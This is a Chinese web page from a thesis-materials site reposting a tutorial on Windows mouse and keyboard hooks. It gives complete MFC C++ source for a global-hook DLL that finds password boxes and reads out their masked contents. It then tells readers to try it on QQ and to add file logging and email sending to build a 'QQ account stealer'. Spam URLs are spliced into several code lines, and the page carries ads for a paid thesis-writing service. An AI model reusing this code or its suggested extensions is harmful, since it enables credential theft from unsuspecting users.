设计 任务书 文档 开题 答辩 说明书 格式 模板 外文 翻译 范文 资料 作品 文献 课程 实习 指导 调研 下载 网络教育 计算机 网站 网页 小程序 商城 购物 订餐 电影 安卓 Android Html Html5 SSM SSH Python 爬虫 大数据 管理系统 图书 校园网 考试 选题 网络安全 推荐系统 机械 模具 夹具 自动化 数控 车床 汽车 故障 诊断 电机 建模 机械手 去壳机 千斤顶 变速器 减速器 图纸 电气 变电站 电子 Stm32 单片机 物联网 监控 密码锁 Plc 组态 控制 智能 Matlab 土木 建筑 结构 框架 教学楼 住宅楼 造价 施工 办公楼 给水 排水 桥梁 刚构桥 水利 重力坝 水库 采矿 环境 化工 固废 工厂 视觉传达 室内设计 产品设计 电子商务 物流 盈利 案例 分析 评估 报告 营销 报销 会计
 首 页 机械毕业设计 电子电气毕业设计 计算机毕业设计 土木工程毕业设计 视觉传达毕业设计 理工论文 文科论文 毕设资料 帮助中心 设计流程 
垫片
您现在所在的位置:首页 >>理工论文 >> 文章内容
                 
垫片
   我们提供全套毕业设计和毕业论文服务,联系微信号:biyezuopin QQ:2922748026   
利用鼠标键盘钩子截获密码
文章来源:www.biyezuopin.vip   发布者:毕业作品网站  

钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。掌握钩子的编程方法是很有必要的

钩子分类 :
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET: 使你可以监视发送到窗口过程的消息
3、WH_DEBUG    调试钩
4、WH_FOREGROUNDIDLE   当当应用程序的前台线程大概要变成空闲状态时,系统就会调用      WH_FOREGROUNDIDLhttp://www.16sheji8.cn/
5、WH_JOURNALRECORD   监视和记录输入事件
6、WH_JOURNALPLAYBACK   回放用WH_JOURNALRECORD记录事件
7、WH_KEYBOARD    键盘钩子
9、WH_KEYBOARD_LL   低层键盘钩子
10、WH_MOUSE    鼠标钩子
11、WH_MOUSE_LL    底层鼠标钩子
12、WH_SHELL    外壳钩子
13、WH_MSGFILTER 和 WH_SYSMSGFILTER  使我们可以监视菜单,滚动条,消息框等

安装钩子:
  调用函数SetWindowsHookEx安装钩子。其函数原型为:
 HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId )
 idHook表示钩子类型,它是和钩子函数类型一一对应的。如,WH_KEYBOARD,WH_MOUSE。
 Lpfn是钩子函数的地址。
 HMod是钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。 (系统钩子必须在DLL中)
    dwThreadId 指定钩子所监视的线程的线程号。对于全局钩子,该参数为NULL。
   SetWindowsHookEx返回所安装的钩子句柄。

卸载钩子
   调用函数 BOOL UnhookWindowsHookEx( HHOOK hhk)卸载钩子

定义钩子函数
  钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调用钩子函数进行处理。一般为下:
 LRESULT WINAPI MyHookProc(int nCode ,WPARAM wParam,LPARAM lParam)
 参数wParam和 lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。nCode包含有关消息本身的信,比如是否从消息队列中移出。

实例:
 下面我们通过安装鼠标钩子。和键盘钩子还截获输入的密码,并可查看*密码为例,来说明何何使用钩子。

1,进入向导,新建MFC AppWizard(dll) 取名为GetPass,选择MFC Extension DLL,完成。
2,新建一个CGetPassHook 类,基类:CObject,并加入StartHook,StopHook,函数,如下:
class AFX_EXT_CLASS CGetPassHook : public CObject 
{
public:
 BOOL StopHook();
 BOOL StartHook(HWND hwnd);
 
 CGetPassHook();
 virtual ~CGetPassHook();http://www.16sheji8.cn/

};
3:加入全局共享数据,如下:
#pragma data_seg("ShareData")
HHOOK hKeyBoardHook=NULL;  file://keyboar hook
HHOOK hMouseHook=NULL;   file://mouse hook
HINSTANCE glhInstance=NULL;  file://globle instance
HWND hOutPutWnd=NULL;   file://Display Pass Wnd
#pragma data_seg()

4:加入鼠标,键盘钩子处理函数,如下:
LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam)
{  file://鼠标钩子得理函数
 LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam;
 if(nCode>=0)
 {
  HWND hTargetHwnd=lpMouse->hwnd;  file://得到鼠标所在窗口句柄
  if(hTargetHwnd)
  {
   LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); file://得到它的样式
   if(style&ES_PASSWORD)  file://如果是密码框
   {
    char szPass[255];
    ::SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);
      file://得到密码
    ::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);
      file://显示密码
   }
  }
 }
 
 return CallNextHookEx(hMouseHook,nCode,wParam,lParam);
  file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,
  file://可以起到截儿消息的目的,我们这里调用之。
}

LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)
{  file://keyboard hook proc

 if(nCode>=0)
 {
  HWND hTargetHwnd=GetActiveWindow();  file://get active window
  if(hTargetHwnd)
   EnumChildWindows(hTargetHwnd,EnumWndProc,0); file://枚举所有窗口
 }

 return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);
  file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,
  file://可以起到截儿消息的目的,我们这里调用之。
}

 这里要介绍下EnumChildWindows函数,原形如下:
 BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROC lpEnumFunc,LPARAM lParam);
 hWndParent:为枚举窗口的句柄
 lpEnumFunc:枚举函数的地址,
 lParam:这里为0http://www.16sheji8.cn/

5:加入枚举窗口的函数。如下:(注意,因为前面的函数据要用到此函数,所以要么在前面声明,要么放在上面函数之前定义。

BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam)
{  file://enum the child window,find passedit
 if(hwnd)
 {
  LONG style=::GetWindowLong(hwnd,GWL_STYLE); file://得到STYLE
  if(style&ES_PASSWORD)   file://是密码框
  {
   char szPass[255];
   ::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); file://得到PASS
   ::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); file://显示
   return TRUE;
  }
 }

 return TRUE;
}

6:在DEF文件中定义段属性: (这步很重要)
  SECTIONS
  mydata READ WRITE SHARED

7:完成StartHook,StopHook函数,启动/关闭钩子,如下:
BOOL CGetPassHook::StartHook(HWND hwnd)
{   file://install hoook
 hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);
   file://mouse hook
 hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0);
   file://keyboard hook
 if(hMouseHook&&hKeyBoardHook)
 {
  hOutPutWnd=hwnd; file://显示密码的句柄
  return TRUE;
 }
 return FALSE;
}

BOOL CGetPassHook::StopHook()
{   file://unstall hook
 BOOL mHook=UnhookWindowsHookEx(hMouseHook);
 BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook);
 if(mHook&&kHook)
  return TRUE;
 return FALSE;
}

8:在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量,因此要加入一句,如下:
extern HINSTANCE glhInstance; file://记得这里
extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
 UNREFERENCED_PARAMETER(lpReserved);
 if (dwReason == DLL_PROCESS_ATTACH)
 {http://www.16sheji8.cn/
  TRACE0("GETPASS.DLL Initializing!\n");
 
  if (!AfxInitExtensionModule(GetPassDLL, hInstance))
   return 0;
  new CDynLinkLibrary(GetPassDLL);
  glhInstance=hInstance; file://得到句柄
 }
 else if (dwReason == DLL_PROCESS_DETACH)
 {
  TRACE0("GETPASS.DLL Terminating!\n");
  AfxTermExtensionModule(GetPassDLL);
 }
 return 1;   // ok
}

9:编译,完成DLL部分,

下面建立APP部分。如下:

1:新建MFC AppWizard(exe)命名为GetPassWord,并在第一步中选择Add to Current WorkSpace加入到当前工作区,这样方便。

2:将刚才的DLL中的GetPass.lib,和GetPassHook.h拷贝APP所在目录,然后Project->Add to Project-->Files
选择这两个文件。

2:在主对话框中,加入一个EDIT,ID 为IDC_EDIT_PASS

3:在CGetPassWordDlg.h中包含GetPassHook.h文件,声明一个对象。如下:

#include "GetPassHook.h"
class CGetPassWordDlg : public CDialog
{
protected:
 CGetPassHook m_hook;
。。。
 DECLARE_MESSAGE_MAP()
};

4:在实现文件中:OnInitDialog()中起动HOOK

BOOL CGetPassWordDlg::OnInitDialog()
{
 CWnd *pWnd=GetDlgItem(IDC_EDIT_PASS);
 m_hook.StartHook(pWnd->GetSafeHwnd()); file://install hook

 return TRUE;  // return TRUE  unless you set the focus to a control
}

5:加入WM_DESTROY消息,在退出程序时停止HOOK,如下:
void CGetPassWordDlg::OnDestroy()
{
 CDialog::OnDestroy();
 m_hook.StopHook(); file://stop hook
}

6:将GetPass.dll拷贝到。EXE一个目录下,

7:编译,运行.http://www.16sheji8.cn/
    这样,你在输入任何密码框输入密码时,密码都将截获。就算键盘HOOK失效,移动鼠标到密码框,也都获取*号密码,因为我们安装两个HOOK。启动QQ,输入密码,试下看是否已经截获了密码?将本程序稍做修改,将截获的密码输出到文件并加入发送邮件攻能,一个QQ盗号器就做成了。

 

  全套毕业设计论文现成成品资料请咨询微信号:biyezuopin QQ:2922748026     返回首页 如转载请注明来源于www.biyezuopin.vip  

                 

打印本页 | 关闭窗口
  下一篇文章:Delphi_Delphi常用应用函数
本类最新文章
苗系统虚拟机 混合动力汽车电池文献检索摘要及英 行星齿轮变速箱的分析方法
移动应用开发实训指导书 板材的的等径角挤压 悬架的机械设计对动态加载过程的影
| 关于我们 | 友情链接 | 毕业设计招聘 |

Email:biyeshejiba@163.com 微信号:biyezuopin QQ:2922748026  
本站毕业设计毕业论文资料均属原创者所有,仅供学习交流之用,请勿转载并做其他非法用途.如有侵犯您的版权有损您的利益,请联系我们会立即改正或删除有关内容!